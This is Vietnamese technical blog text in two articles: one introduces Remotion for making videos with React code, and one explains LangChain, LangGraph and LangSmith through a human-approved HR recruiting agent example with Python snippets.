Khi nhắc đến việc chỉnh sửa video, hầu hết chúng ta đều nghĩ đến những phần mềm như Premiere Pro, After Effects, DaVinci Resolve hay CapCut. Các công cụ này đều hoạt động theo mô hình quen thuộc: kéo thả, chỉnh sửa trên timeline và xuất video.

Tuy nhiên, trong vài năm gần đây, một xu hướng hoàn toàn mới đang dần trở nên phổ biến trong cộng đồng lập trình viên: viết video bằng code.

Thay vì thao tác bằng chuột, bạn mô tả toàn bộ video bằng React Component, sau đó để chương trình tự động render thành video hoàn chỉnh.

Framework nổi bật nhất cho cách tiếp cận này chính là Remotion.

Remotion là gì?

Remotion là một framework mã nguồn mở cho phép xây dựng video bằng React, TypeScript, HTML và CSS.

Thay vì sử dụng timeline như các phần mềm chỉnh sửa truyền thống, Remotion coi mỗi video là một ứng dụng React.

Bạn có thể sử dụng toàn bộ kiến thức quen thuộc của Web Development:

• React Component
• Props
• State
• Tailwind CSS
• SVG
• Canvas
• Animation
• npm packages

để xây dựng video.

Sau khi hoàn thành, Remotion sẽ render thành:

• MP4
• GIF
• PNG Sequence
• WebM

với chất lượng rất cao.

Khác biệt lớn nhất: Video cũng chỉ là React Component

Nếu đã từng viết React, đoạn code sau sẽ rất quen thuộc.

export const MyVideo = () => {
  return (
    <AbsoluteFill>
      <Background />
      <Title />
      <Subtitle />
      <Avatar />
    </AbsoluteFill>
  );
};

Không có khái niệm timeline hay layer như Premiere.

Mỗi thành phần của video chỉ đơn giản là một React Component.

Ví dụ:

• Logo
• Tiêu đề
• Hình nền
• Biểu đồ
• Subtitles
• Avatar

đều có thể tái sử dụng giống hệt component trong một ứng dụng web.

Điều này mở ra khả năng xây dựng các thư viện component dành riêng cho video, tương tự như cách chúng ta xây dựng Design System cho giao diện web.

Remotion render video như thế nào?

Đây là phần thú vị nhất của Remotion.

Thực tế, video chỉ là một chuỗi hình ảnh được phát liên tục.

Ví dụ:

• 30 FPS nghĩa là mỗi giây có 30 hình
• 60 FPS nghĩa là mỗi giây có 60 hình

Một video dài 10 giây ở 30 FPS sẽ gồm:

30 × 10 = 300 frame

Remotion không làm việc theo "thời gian", mà làm việc theo frame.

Trong mỗi lần render, Remotion sẽ biết chính xác mình đang ở frame thứ bao nhiêu.

const frame = useCurrentFrame();

Giá trị có thể là:

0
1
2
...
299

Sau đó React sẽ render lại component dựa trên giá trị frame hiện tại.

Có thể hình dung đơn giản:

React(frame = 0)
↓

Frame 0

React(frame = 1)
↓

Frame 1

React(frame = 2)
↓

Frame 2

Sau khi render xong tất cả các frame, Remotion sẽ ghép chúng lại thành video.

Mọi animation đều được tính toán từ frame

Giả sử bạn muốn một đoạn text chạy từ bên phải sang bên trái trong 2 giây.

Nếu video chạy ở 30 FPS thì:

2 giây = 60 frame

Remotion cung cấp hàm interpolate.

const frame = useCurrentFrame();

const x = interpolate(
    frame,
    [0, 60],
    [800, 0]
);

Điều này có nghĩa:

Bạn không cần tự tính toán từng frame.

Remotion sẽ tự nội suy (interpolation) để tạo chuyển động mượt mà.

Chính vì mọi animation đều được tính từ frame nên việc tạo:

• Fade In
• Fade Out
• Zoom
• Rotate
• Scale
• Motion Graphics

đều rất trực quan.

Sequence – Timeline bằng code

Trong Premiere, bạn kéo các clip vào timeline.

Trong Remotion, timeline được mô tả bằng React.

<Sequence from={0}>
    <Intro />
</Sequence>

<Sequence from={90}>
    <Content />
</Sequence>

<Sequence from={300}>
    <Ending />
</Sequence>

Đoạn code trên có nghĩa:

• Intro bắt đầu từ frame 0
• Content bắt đầu từ frame 90
• Ending bắt đầu từ frame 300

Toàn bộ timeline được quản lý bằng code.

Điều này mang lại lợi thế rất lớn:

• Có thể dùng vòng lặp để sinh nhiều scene.
• Có thể hiển thị scene dựa trên dữ liệu từ API.
• Có thể tạo video với độ dài khác nhau chỉ bằng cách thay đổi dữ liệu đầu vào.

Render video phía sau diễn ra như thế nào?

Khác với suy nghĩ của nhiều người, Remotion không quay màn hình trình duyệt.

Quá trình render diễn ra như sau:

React Components
        │
        ▼
Headless Chrome
        │
        ▼
Render từng Frame
        │
        ▼
PNG Images
        │
        ▼
FFmpeg
        │
        ▼
MP4

Nói cách khác:

1. Remotion mở một trình duyệt Chrome chạy ngầm.
2. Render từng frame giống như render một trang web.
3. Xuất từng frame thành ảnh PNG.
4. Dùng FFmpeg ghép toàn bộ ảnh thành video MP4.

Nhờ vậy Remotion có thể render:

• Full HD
• 2K
• 4K
• 60 FPS

một cách ổn định.

Vì sao React lại phù hợp để tạo video?

Thoạt nhìn, React là thư viện để xây dựng giao diện.

Nhưng nếu để ý kỹ, một video thực chất cũng là tập hợp của nhiều thành phần giao diện:

• Text
• Hình ảnh
• Icon
• Chart
• Avatar
• Waveform
• Subtitle

Mỗi thành phần đều có:

• Vị trí
• Kích thước
• Animation
• Thời gian xuất hiện

Đó cũng chính là những gì React làm rất tốt.

Việc tận dụng hệ sinh thái React giúp lập trình viên có thể tái sử dụng rất nhiều thư viện hiện có như:

• Tailwind CSS
• Framer Motion
• D3.js
• Chart.js
• Three.js
• SVG Animation

để tạo ra những video có giao diện hiện đại mà không cần học thêm một công cụ chỉnh sửa mới.

Kỷ nguyên AI Agent: Từ viết code sang tạo video bằng prompt

Ban đầu, Remotion hướng đến lập trình viên.

Muốn tạo video, bạn phải tự viết toàn bộ React Component.

Ngày nay, với sự phát triển của các AI Agent, vai trò của lập trình viên đang dần thay đổi.

Thay vì viết từng dòng code, bạn chỉ cần đưa ra yêu cầu:

"Hãy tạo video giới thiệu sản phẩm dài 1 phút với giọng đọc nữ, phụ đề và hình minh họa."

AI sẽ tự động:

• Viết kịch bản.
• Chia scene.
• Sinh mã React cho Remotion.
• Tạo giọng đọc bằng ElevenLabs hoặc OpenAI TTS.
• Tìm hoặc sinh hình ảnh.
• Ghép tất cả thành video hoàn chỉnh.

Remotion đóng vai trò như engine render video, còn AI chịu trách nhiệm xây dựng nội dung và cấu trúc video.

Một pipeline tạo video bằng AI

Một workflow phổ biến hiện nay có thể được mô tả như sau:

Prompt của người dùng
          │
          ▼
OpenAI / Gemini / Claude
          │
          ▼
Kịch bản + JSON mô tả các scene
          │
          ▼
ElevenLabs hoặc OpenAI TTS
          │
          ▼
File giọng đọc
          │
          ▼
Remotion
          │
          ▼
Render MP4

Thay vì chỉnh sửa thủ công từng video, toàn bộ quy trình có thể được tự động hóa, giúp tạo ra hàng trăm hoặc hàng nghìn video chỉ từ dữ liệu đầu vào.

Khi nào nên sử dụng Remotion?

Remotion đặc biệt phù hợp với các bài toán cần tạo video hàng loạt hoặc tạo video từ dữ liệu:

• Video AI tự động.
• Video tin tức.
• Video TikTok hoặc YouTube Shorts.
• Video quảng cáo được cá nhân hóa.
• Video báo cáo dữ liệu.
• Video đào tạo nội bộ.
• Video giới thiệu sản phẩm.
• Video tạo từ nội dung CMS.

Ngược lại, nếu mục tiêu là dựng phim, MV hoặc các dự án cần chỉnh sửa thủ công với nhiều hiệu ứng điện ảnh, các phần mềm như Premiere Pro hay DaVinci Resolve vẫn là lựa chọn phù hợp hơn.

Kết luận

Remotion không chỉ là một thư viện tạo video bằng React, mà còn đại diện cho một cách tư duy mới: coi video là một sản phẩm phần mềm có thể lập trình, tái sử dụng và tự động hóa.

Khi kết hợp với AI Agent và các mô hình ngôn ngữ lớn (LLM), Remotion trở thành nền tảng mạnh mẽ để xây dựng các hệ thống tạo video tự động, từ video marketing, video đào tạo đến các nội dung cá nhân hóa ở quy mô lớn.

Đối với lập trình viên, việc học Remotion không chỉ giúp mở rộng kỹ năng sang lĩnh vực xử lý đa phương tiện, mà còn mở ra cơ hội xây dựng các ứng dụng AI Video Generation – một xu hướng đang phát triển rất nhanh trong những năm gần đây.

Tham khảo

• https://www.remotion.dev/
• https://github.com/remotion-dev/remotion
• https://www.remotion.dev/showcase

LangChain, LangGraph, LangSmith: Hiểu qua ví dụ build AI tool hỗ trợ HR

Bài viết này giải thích LangChain, LangGraph và LangSmith theo cách gần gũi, dễ hình dung, nhưng vẫn đủ sâu cho developer muốn build AI agent thật. Ví dụ xuyên suốt là một tool tên HR Copilot — trợ lý AI giúp team HR tìm ứng viên, chấm điểm CV, soạn email và theo dõi quy trình tuyển dụng.

Mở đầu: Vì sao chỉ gọi LLM là chưa đủ?

Giả sử bạn muốn build một tool AI cho team HR.

HR nhập vào một câu rất tự nhiên:

Tìm giúp tôi ứng viên phù hợp cho vị trí Senior Backend Go Developer,
ưu tiên AWS, MySQL và tiếng Nhật N2. Nếu phù hợp thì soạn email mời phỏng vấn.

Nghe qua thì giống một câu hỏi bình thường có thể copy vào ChatGPT. Nhưng nếu muốn biến nó thành một sản phẩm thật, tool phải làm nhiều hơn rất nhiều:

• hiểu HR đang muốn tuyển vị trí nào,
• lấy đúng JD liên quan,
• tìm CV trong database hoặc kho hồ sơ,
• đọc và chấm điểm từng ứng viên,
• giải thích vì sao ứng viên này phù hợp,
• soạn email mời phỏng vấn,
• dừng lại để HR duyệt trước khi gửi,
• cập nhật trạng thái ứng viên trong pipeline,
• và ghi lại toàn bộ quá trình để debug nếu AI trả lời sai.

Nói cách khác, đây không còn là chuyện “gọi một model và lấy câu trả lời”. Đây là một AI workflow có nhiều bước, có dữ liệu thật, có tool thật, có quyền hạn, có phê duyệt của con người và có nhu cầu theo dõi chất lượng.

Đó là lúc bộ ba LangChain — LangGraph — LangSmith trở nên hữu ích.

1. Ba công cụ này khác nhau thế nào?

Hãy tưởng tượng ta đang xây một “nhà máy nhỏ” để hỗ trợ HR tuyển dụng.

• LangChain giống các bộ phận máy: máy đọc CV, máy gọi LLM, máy tìm dữ liệu, máy trả JSON.
• LangGraph giống dây chuyền vận hành: bước nào chạy trước, khi nào rẽ nhánh, khi nào dừng chờ HR duyệt.
• LangSmith giống phòng điều khiển: xem agent đã chạy qua bước nào, sai ở đâu, tốn bao nhiêu tiền, chậm ở đoạn nào.

Nói ngắn gọn:

LangChain  = AI biết dùng công cụ.
LangGraph  = AI làm việc theo quy trình.
LangSmith  = team nhìn thấy AI đã làm gì và sai ở đâu.

Hoặc theo góc nhìn kỹ thuật:

Một cách nhớ khác:

LangChain  = khả năng
LangGraph  = quy trình
LangSmith  = niềm tin

2. Trước khi đi sâu: AI agent là gì?

Một chatbot bình thường thường chạy như sau:

User hỏi → LLM trả lời

Một AI agent thì khác. Agent không chỉ trả lời, mà có thể tự quyết định bước tiếp theo và gọi công cụ bên ngoài.

Ví dụ với HR Copilot:

HR yêu cầu tìm ứng viên
→ Agent hiểu yêu cầu
→ Agent gọi tool lấy JD
→ Agent gọi tool tìm CV
→ Agent đọc CV
→ Agent chấm điểm
→ Agent soạn email
→ Agent dừng lại chờ HR duyệt

Một agent thường có ba phần:

Nhiều agent hiện đại chịu ảnh hưởng từ ý tưởng ReAct:

Suy nghĩ → Hành động → Quan sát kết quả → Suy nghĩ lại → ... → Trả lời

Trong ví dụ HR:

Suy nghĩ: Cần tìm ứng viên Backend Go.
Hành động: gọi search_candidates().
Quan sát: tìm được 10 CV.
Suy nghĩ lại: cần chấm điểm theo AWS, MySQL, tiếng Nhật.
Hành động tiếp: gọi score_candidate().

Với task đơn giản, vòng lặp này có thể viết bằng code thường. Nhưng khi workflow có nhiều bước, rẽ nhánh, dừng chờ người duyệt, resume sau vài giờ hoặc vài ngày, tự viết bằng while sẽ rất nhanh rối. Đây là lý do LangGraph tồn tại.

PHẦN I — HIỂU BA CÔNG CỤ QUA BÀI TOÁN HR

3. LangChain: bộ đồ nghề để nối LLM với thế giới bên ngoài

Nếu chỉ cần làm một việc rất đơn giản, bạn chưa chắc cần LangChain.

Ví dụ:

Tóm tắt CV này trong 5 dòng.

Trường hợp đó, gọi thẳng OpenAI / Anthropic / Gemini API cũng được.

Nhưng HR Copilot không đơn giản như vậy. Nó cần nhiều mảnh ghép:

• prompt để hướng dẫn model,
• model để suy luận,
• tool để gọi database ứng viên,
• retriever để tìm CV hoặc policy liên quan,
• output parser để trả kết quả dạng JSON,
• streaming, retry, fallback, batch nếu chạy ở production.

LangChain giúp chuẩn hóa các mảnh ghép đó để ta nối chúng thành một pipeline.

JD + CV
→ Prompt đánh giá
→ LLM
→ Structured Output
→ Backend lưu kết quả

3.1 LangChain giải quyết pain gì?

Khi mới thử AI, ta thường viết kiểu:

response = client.chat.completions.create(...)

Cách này ổn cho demo nhỏ. Nhưng khi app lớn dần, bạn sẽ gặp nhiều câu hỏi:

• Nếu muốn đổi model từ GPT sang Claude thì sao?
• Prompt có nhiều biến thì quản lý thế nào?
• Làm sao bắt LLM trả JSON đúng schema?
• Làm sao cho LLM gọi tool như search_candidates()?
• Làm sao ghép RAG vào để trả lời dựa trên dữ liệu thật?
• Làm sao stream kết quả, retry khi lỗi, fallback khi model fail?

LangChain không làm thay toàn bộ sản phẩm cho bạn. Nó cho bạn bộ linh kiện chuẩn hóa để build nhanh và gọn hơn.

3.2 Các mảnh ghép quan trọng trong LangChain

Model

Model là LLM bạn dùng: GPT, Claude, Gemini, Llama local...

from langchain_anthropic import ChatAnthropic

llm = ChatAnthropic(model="claude-opus-4-8")
result = llm.invoke("Tóm tắt CV này trong 5 bullet points")

Điểm hay là khi đổi provider, phần còn lại của pipeline ít bị ảnh hưởng hơn so với gọi API thủ công ở nhiều nơi.

Prompt Template

Prompt template giúp bạn viết prompt có biến, dễ tái sử dụng và dễ test.

from langchain_core.prompts import ChatPromptTemplate

prompt = ChatPromptTemplate.from_messages([
    ("system", "Bạn là HR specialist có kinh nghiệm tuyển dụng IT."),
    ("user", "Đánh giá CV sau so với JD.\n\nCV:\n{cv}\n\nJD:\n{jd}")
])

Thay vì nối chuỗi thủ công ở nhiều chỗ, bạn có một template rõ ràng.

Structured Output

Với app thật, text tự do rất khó xử lý.

Ví dụ output tự do:

Ứng viên này khá phù hợp, có thể mời phỏng vấn.

Backend sẽ khó biết điểm là bao nhiêu, decision là gì, thiếu skill nào.

Output tốt hơn:

{
  "match_score": 82,
  "decision": "interview",
  "strengths": ["Go", "AWS", "MySQL"],
  "risks": ["Chưa rõ kinh nghiệm leadership"]
}

Structured output giúp AI trả về dữ liệu có hình dạng rõ ràng để backend dùng tiếp.

Tool

Tool là function/API mà agent có thể gọi.

Ví dụ:

search_candidates(skills=["Go", "AWS"], language="N2")
get_candidate_cv(candidate_id="C001")
send_email(to, subject, body)
update_pipeline_status(candidate_id, status)

LLM không tự biết database nội bộ của công ty. Tool chính là cầu nối để LLM chạm vào dữ liệu thật.

Retriever / RAG

RAG là pattern:

Câu hỏi
→ Tìm tài liệu liên quan
→ Đưa tài liệu vào prompt
→ LLM trả lời dựa trên tài liệu đó

Trong HR Copilot, RAG có thể dùng để tìm:

• JD liên quan,
• CV cũ,
• policy tuyển dụng,
• salary band,
• interview guideline,
• note lịch sử ứng viên.

Chain

Chain là pipeline tuyến tính.

chain = prompt | llm | output_parser
result = chain.invoke({"cv": cv_text, "jd": jd_text})

Tư duy rất đơn giản:

Input → Prompt → Model → Parser → Output

Chain rất hợp với tác vụ một đường thẳng: tóm tắt, phân loại, trích xuất thông tin, chấm điểm theo schema.

3.3 Ví dụ LangChain trong HR Copilot

Ví dụ chấm điểm CV theo JD:

from langchain_anthropic import ChatAnthropic
from langchain_core.prompts import ChatPromptTemplate
from pydantic import BaseModel, Field

class CandidateScore(BaseModel):
    candidate_name: str
    match_score: int = Field(ge=0, le=100)
    level: str
    strengths: list[str]
    risks: list[str]
    recommendation: str  # "move_to_interview" | "hold" | "reject"

prompt = ChatPromptTemplate.from_messages([
    ("system", "Bạn là HR specialist tuyển dụng IT. Trả kết quả theo schema."),
    ("user", "Đánh giá CV sau so với JD.\n\nCV:\n{cv}\n\nJD:\n{jd}")
])

llm = ChatAnthropic(model="claude-opus-4-8").with_structured_output(CandidateScore)
chain = prompt | llm

result = chain.invoke({"cv": cv_text, "jd": jd_text})

Output mong muốn:

{
  "candidate_name": "Nguyen Van A",
  "match_score": 82,
  "level": "middle",
  "strengths": ["Go backend", "AWS", "MySQL"],
  "risks": ["Chưa thấy kinh nghiệm leadership rõ ràng"],
  "recommendation": "move_to_interview"
}

3.4 Khi nào chỉ cần LangChain?

LangChain là đủ nếu workflow còn đơn giản:

Nhưng khi có nhiều bước, rẽ nhánh, phê duyệt, retry, resume, LangChain một mình bắt đầu chưa đủ. Lúc đó ta cần LangGraph.

4. LangGraph: khi agent không thể chạy theo một đường thẳng

LangChain rất hợp để ghép pipeline. Nhưng tuyển dụng không phải lúc nào cũng đi theo một đường thẳng.

Ví dụ workflow thật có thể là:

Tìm CV
→ Nếu không có ứng viên phù hợp: hỏi lại HR có muốn nới tiêu chí không
→ Nếu có ứng viên tốt: soạn email
→ Trước khi gửi: chờ HR duyệt
→ Nếu HR yêu cầu sửa email: quay lại bước soạn
→ Nếu HR duyệt: gửi email và cập nhật trạng thái

Đây là workflow có:

• nhiều bước,
• nhiều nhánh,
• trạng thái cần giữ lại,
• vòng lặp,
• bước chờ con người,
• khả năng dừng rồi chạy tiếp.

LangGraph giúp ta mô hình hóa workflow đó thành một graph.

LangGraph biến agent từ “một đoạn prompt thông minh”
thành “một quy trình có kiểm soát”.

4.1 Các khái niệm chính trong LangGraph

4.2 State: bộ nhớ làm việc của workflow

State là nơi LangGraph giữ dữ liệu trong suốt quá trình chạy.

Ví dụ:

from typing import TypedDict, List, Optional

class HRCopilotState(TypedDict):
    user_request: str
    job_id: Optional[str]
    job_description: Optional[dict]
    candidates: List[dict]
    scored_candidates: List[dict]
    top_candidates: List[dict]
    email_draft: Optional[dict]
    hr_approval_status: Optional[str]
    final_result: Optional[str]

Nếu không có state, mỗi bước sẽ khó biết bước trước đã làm gì. Agent dễ bị mất ngữ cảnh hoặc phải truyền dữ liệu thủ công rất rối.

4.3 Node: mỗi bước là một function rõ ràng

Một node có thể là:

• một function Python bình thường,
• một lần gọi LLM,
• một lần gọi tool,
• hoặc một agent nhỏ hơn.

Ví dụ:

load_job_description
search_candidates
score_candidates
rank_candidates
generate_email_draft
wait_hr_approval
send_email
update_pipeline_status

Điểm tốt là workflow trở nên rất dễ đọc. Nhìn graph là biết agent đang được phép đi qua những bước nào.

4.4 Conditional edge: chỗ workflow rẽ nhánh

Trong HR Copilot, sau khi chấm điểm xong, ta có thể rẽ nhánh:

Nếu có ứng viên đạt ngưỡng → soạn email
Nếu không có ai đạt → trả report / hỏi lại HR

Sau khi HR duyệt email:

approved → gửi email
revise   → soạn lại
rejected → dừng

Đây là lý do LangGraph mạnh hơn chain tuyến tính.

4.5 Human-in-the-loop: AI đề xuất, con người quyết định

Với tuyển dụng, không nên để AI tự gửi email hoặc tự reject ứng viên mà không có người duyệt.

Cách an toàn hơn:

AI tìm ứng viên
→ AI soạn email
→ HR duyệt
→ hệ thống mới gửi

Trong LangGraph, bước này có thể dùng interrupt() để dừng workflow.

from langgraph.types import interrupt

def wait_hr_approval(state: HRCopilotState):
    decision = interrupt({"email_draft": state["email_draft"]})
    return {"hr_approval_status": decision}

Workflow có thể dừng tại đây, chờ HR bấm Approve / Revise / Reject, rồi resume từ đúng chỗ đó.

4.6 Checkpoint: dừng rồi chạy tiếp

Nếu HR chưa duyệt email ngay thì sao?

Không vấn đề. LangGraph có checkpointer để lưu state. Agent có thể dừng hôm nay và tiếp tục ngày mai.

Ví dụ:

Ngày 1: AI tìm ứng viên, soạn email, dừng chờ HR duyệt.
Ngày 2: HR bấm Approve, workflow resume, gửi email, cập nhật pipeline.

Đây là điểm rất quan trọng khi build agent cho nghiệp vụ thật.

4.7 Ví dụ workflow LangGraph cho HR Copilot

START
  → parse_hr_request
  → load_job_description
  → search_candidates
  → filter_candidates
  → score_candidates
  → rank_candidates
  → select_top_candidates
  → generate_recommendation_report
  → need_email?
       ├── no  → END
       └── yes → generate_email_draft
                 → wait_hr_approval
                      ├── approved → send_email → update_pipeline_status → END
                      ├── revise   → revise_email → wait_hr_approval
                      └── rejected → END

Code rút gọn:

from langgraph.graph import StateGraph, START, END
from langgraph.checkpoint.memory import MemorySaver
from langgraph.types import interrupt

builder = StateGraph(HRCopilotState)

builder.add_node("load_jd", load_jd_fn)
builder.add_node("search", search_candidates_fn)
builder.add_node("score", score_candidates_fn)
builder.add_node("rank", rank_candidates_fn)
builder.add_node("draft_email", generate_email_draft_fn)
builder.add_node("send_email", send_email_fn)
builder.add_node("update_status", update_pipeline_fn)

def wait_hr_approval(state: HRCopilotState):
    decision = interrupt({"email_draft": state["email_draft"]})
    return {"hr_approval_status": decision}

builder.add_node("wait_hr_approval", wait_hr_approval)

builder.add_edge(START, "load_jd")
builder.add_edge("load_jd", "search")
builder.add_edge("search", "score")
builder.add_edge("score", "rank")

def route_after_rank(state: HRCopilotState):
    return "draft_email" if state["top_candidates"] else END

builder.add_conditional_edges("rank", route_after_rank, {
    "draft_email": "draft_email",
    END: END,
})

builder.add_edge("draft_email", "wait_hr_approval")

def route_after_approval(state: HRCopilotState):
    return {
        "approved": "send_email",
        "revise": "draft_email",
        "rejected": END,
    }[state["hr_approval_status"]]

builder.add_conditional_edges("wait_hr_approval", route_after_approval, {
    "send_email": "send_email",
    "draft_email": "draft_email",
    END: END,
})

builder.add_edge("send_email", "update_status")
builder.add_edge("update_status", END)

graph = builder.compile(checkpointer=MemorySaver())

4.8 Khi nào nên dùng LangGraph?

Dùng LangGraph khi bạn thấy các dấu hiệu này:

Nếu task chỉ là prompt | model | parser, dùng LangGraph có thể hơi thừa. Nhưng nếu task là một quy trình nghiệp vụ thật, LangGraph rất đáng dùng.

5. LangSmith: nhìn thấy agent đã làm gì

Một vấn đề lớn của AI app là: khi nó trả lời sai, ta thường không biết sai ở đâu.

Ví dụ HR hỏi:

Vì sao AI lại chọn ứng viên A thay vì ứng viên B?

Nếu không có trace, bạn chỉ thấy kết quả cuối cùng. Bạn không biết:

• AI đã đọc đúng JD chưa,
• đã tìm đúng CV chưa,
• tool search có trả thiếu dữ liệu không,
• prompt chấm điểm có thiếu tiêu chí không,
• model có tự suy diễn quá đà không,
• chi phí request đó là bao nhiêu,
• bước nào chạy chậm nhất.

LangSmith giúp ghi lại toàn bộ hành trình đó.

User request
→ load_job_description
→ search_candidates
→ read_candidate_cv
→ score_candidate
→ generate_email_draft
→ wait_hr_approval

LangSmith không trực tiếp làm agent thông minh hơn. Nhưng nó giúp team nhìn thấy, debug, đánh giá và cải thiện agent theo thời gian.

5.1 Trace: camera quay lại toàn bộ request

Trace cho thấy từng bước agent đã đi qua:

Request input
  → load_job_description(job_id="GO-BE-2026")
  → search_candidates(skills=["Go", "MySQL", "AWS"])
  → read_candidate_cv(C001)
  → score_candidate(C001)
  → read_candidate_cv(C002)
  → score_candidate(C002)
  → rank_candidates
  → generate_summary
  → final_answer

Nếu kết quả sai, bạn có thể mở trace và kiểm tra:

5.2 Evaluation: đừng đánh giá AI bằng cảm giác

Khi build AI app, rất dễ nói:

Mình test thấy cũng ổn.

Nhưng “thấy ổn” không đủ cho production.

Bạn cần dataset test:

LangSmith giúp chạy evaluation trên dataset đó để xem agent có bị hồi quy sau mỗi lần đổi prompt, đổi model, đổi retriever không.

Các kiểu evaluator thường gặp:

5.3 Monitoring: khi agent chạy thật

Khi đưa HR Copilot vào production, bạn cần theo dõi:

• latency,
• token usage,
• cost,
• error rate,
• tool failure,
• retrieval quality,
• feedback của HR,
• prompt version,
• model version,
• đường đi của agent trong graph.

Không có monitoring, team chỉ nghe được câu: “AI trả lời sai”. Có monitoring, team biết sai ở đâu và sửa đúng chỗ.

5.4 LangSmith không chỉ dùng cho LangChain

Một điểm đáng chú ý: LangSmith không bắt buộc app của bạn phải viết bằng LangChain.

Bạn có thể dùng LangSmith để quan sát app viết bằng nhiều framework hoặc SDK khác, nhờ nó hỗ trợ chuẩn tracing / observability như OpenTelemetry.

Nói đơn giản: LangSmith là lớp quan sát cho AI app, không phải chỉ là “log viewer của LangChain”.

PHẦN II — CASE STUDY: BUILD HR COPILOT

6. HR Copilot cần làm gì?

Hãy tưởng tượng công ty muốn build một tool nội bộ tên HR Copilot.

HR nhập:

Tìm giúp tôi ứng viên phù hợp cho vị trí Senior Backend Go Developer,
ưu tiên có AWS, MySQL, tiếng Nhật N2. Nếu phù hợp thì soạn email mời phỏng vấn.

Tool cần chạy như sau:

Hiểu yêu cầu
→ Lấy JD
→ Tìm ứng viên
→ Đọc CV và note cũ
→ Chấm điểm
→ Xếp hạng
→ Giải thích lý do chọn
→ Soạn email
→ Chờ HR duyệt
→ Gửi email
→ Cập nhật pipeline
→ Ghi trace

Đây là một ví dụ rất tốt để thấy vì sao cần cả ba công cụ:

7. Kiến trúc tổng thể

HR User
  → Web App / Slack Bot / Internal Tool
  → Backend API
  → AI Layer
       ├── LangChain
       │     ├── Model
       │     ├── Prompt
       │     ├── Tool calling
       │     ├── Retriever / RAG
       │     └── Structured output
       │
       ├── LangGraph
       │     ├── State
       │     ├── Nodes
       │     ├── Edges
       │     ├── Conditional routing
       │     ├── Human approval
       │     └── Checkpoint
       │
       └── LangSmith
             ├── Trace
             ├── Evaluation
             ├── Monitoring
             └── Cost / latency tracking

  → Business Systems
       ├── Candidate DB
       ├── CV storage
       ├── JD database
       ├── Gmail / SMTP
       ├── Google Calendar
       ├── Slack
       └── ATS / Google Sheet

8. Data model đơn giản

Để demo, ta có thể bắt đầu với ba nhóm dữ liệu:

Candidate
  - id
  - name
  - email
  - skills
  - language_level
  - years_of_experience
  - current_status
  - cv_url
  - notes

JobDescription
  - id
  - title
  - required_skills
  - nice_to_have_skills
  - language_requirement
  - level
  - salary_range

PipelineStatus
  - candidate_id
  - job_id
  - status
  - last_contacted_at
  - interviewer
  - next_action

Đừng thiết kế quá phức tạp từ đầu. Prototype chỉ cần đủ dữ liệu để chứng minh workflow chạy được.

9. Tool list cho HR Copilot

Nguyên tắc quan trọng: không phải tool nào agent cũng được gọi tự do.

10. Mockup luồng sử dụng

Màn 1 — HR nhập yêu cầu

┌─ HR Copilot ───────────────────────────────────────────────┐
│                                                            │
│  HR ▸ Tìm ứng viên cho Senior Backend Go Developer,        │
│       ưu tiên AWS / MySQL / tiếng Nhật N2. Nếu hợp thì      │
│       soạn email mời phỏng vấn.                      [Gửi]  │
│                                                            │
│  ⏳ Agent đang chạy…                                        │
│     ✓ Đã lấy JD: Senior Backend Go Developer               │
│     ✓ Tìm thấy 3 ứng viên                                  │
│     ✓ Chấm điểm xong                                       │
│     ✓ 1 ứng viên đạt ngưỡng                                │
│     ⏸ Đã soạn email — đang chờ bạn duyệt                   │
│                                                            │
└────────────────────────────────────────────────────────────┘

Màn 2 — Bảng ứng viên đã chấm điểm

┌─ Kết quả: Senior Backend Go Developer ─────────────────────┐
│                                                            │
│  #  Ứng viên        Điểm  Đề xuất        Điểm mạnh         │
│  ─  ─────────────   ────  ───────────    ───────────────   │
│  1  Nguyen Van A     92★  Mời PV         Go, MySQL, AWS    │
│  2  Tran Thi B       64   Tạm giữ        Go, MySQL         │
│  3  Le Van C         58   Tạm giữ        AWS               │
│                                                            │
│  ▸ Vì sao chọn #1?                                         │
│    Khớp 3/3 kỹ năng bắt buộc + N2 + 5 năm kinh nghiệm.     │
│    Rủi ro: chưa rõ kinh nghiệm quản lý team.               │
│                                                            │
│            [ Xem CV đầy đủ ]   [ Soạn email cho #1 ]       │
└────────────────────────────────────────────────────────────┘

Màn 3 — HR duyệt email trước khi gửi

┌─ Duyệt email trước khi gửi ────────────────────────────────┐
│  Tới: a@example.com                                        │
│  Tiêu đề: Invitation to interview - Senior Backend Go Dev  │
│  ────────────────────────────────────────────────────────  │
│  Hi Nguyen Van A,                                          │
│  Cảm ơn anh đã quan tâm vị trí Senior Backend Go Developer │
│  … nội dung do agent soạn …                                │
│  Best regards, HR Team                                     │
│  ────────────────────────────────────────────────────────  │
│     [ ✓ Duyệt & Gửi ]   [ ✎ Sửa lại ]   [ ✗ Hủy ]          │
└────────────────────────────────────────────────────────────┘

Ba nút này ánh xạ trực tiếp vào ba nhánh trong LangGraph:

approved → send_email → update_pipeline_status
revise   → revise_email → wait_hr_approval
rejected → END

11. Lộ trình build prototype

Không nên build full HR Copilot ngay từ đầu. Nên đi từng version nhỏ.

Cách này giúp team có kết quả sớm, giảm rủi ro và dễ đo chất lượng.

12. Từ demo tới production: cần thay gì?

Một demo HR Copilot có thể dùng dữ liệu in-memory và fake email. Nhưng để chạy thật, cần thay dần từng phần.

Nói ngắn gọn:

Prototype: chứng minh workflow đúng.
Production: thay mock bằng hệ thống thật, thêm permission, trace, eval, monitoring.

PHẦN III — SO SÁNH VÀ KHI NÀO DÙNG CÁI NÀO

13. Chain, Agent và Graph khác nhau ở đâu?

Ví dụ HR:

Chain:
CV + JD → LLM → Score JSON

Agent:
HR hỏi → agent tự quyết cần search JD, tìm CV, đọc note

Graph:
Search → Score → Rank → Draft Email → Wait Approval → Send → Update ATS

14. So sánh LangChain, LangGraph, LangSmith

15. Khi nào dùng gì?

Chỉ dùng LLM API trực tiếp

Dùng khi:

• task rất nhỏ,
• không cần tool,
• không cần RAG,
• không cần structured output phức tạp,
• không cần trace sâu.

Ví dụ:

Dịch email từ tiếng Nhật sang tiếng Việt.

Dùng LangChain

Dùng khi:

• cần prompt template,
• cần structured output,
• cần tool calling,
• cần RAG,
• cần pipeline rõ ràng.

Ví dụ:

CV + JD → score JSON

Dùng LangGraph

Dùng khi:

• workflow nhiều bước,
• có nhánh,
• có state,
• có human approval,
• cần resume,
• cần kiểm soát flow thay vì để prompt tự lo.

Ví dụ:

Tìm CV → chấm điểm → soạn email → HR duyệt → gửi email → update ATS

Dùng LangSmith

Dùng khi:

• muốn debug,
• muốn evaluation,
• muốn monitor cost/latency,
• muốn quan sát production,
• muốn biết agent sai ở đâu.

Ví dụ:

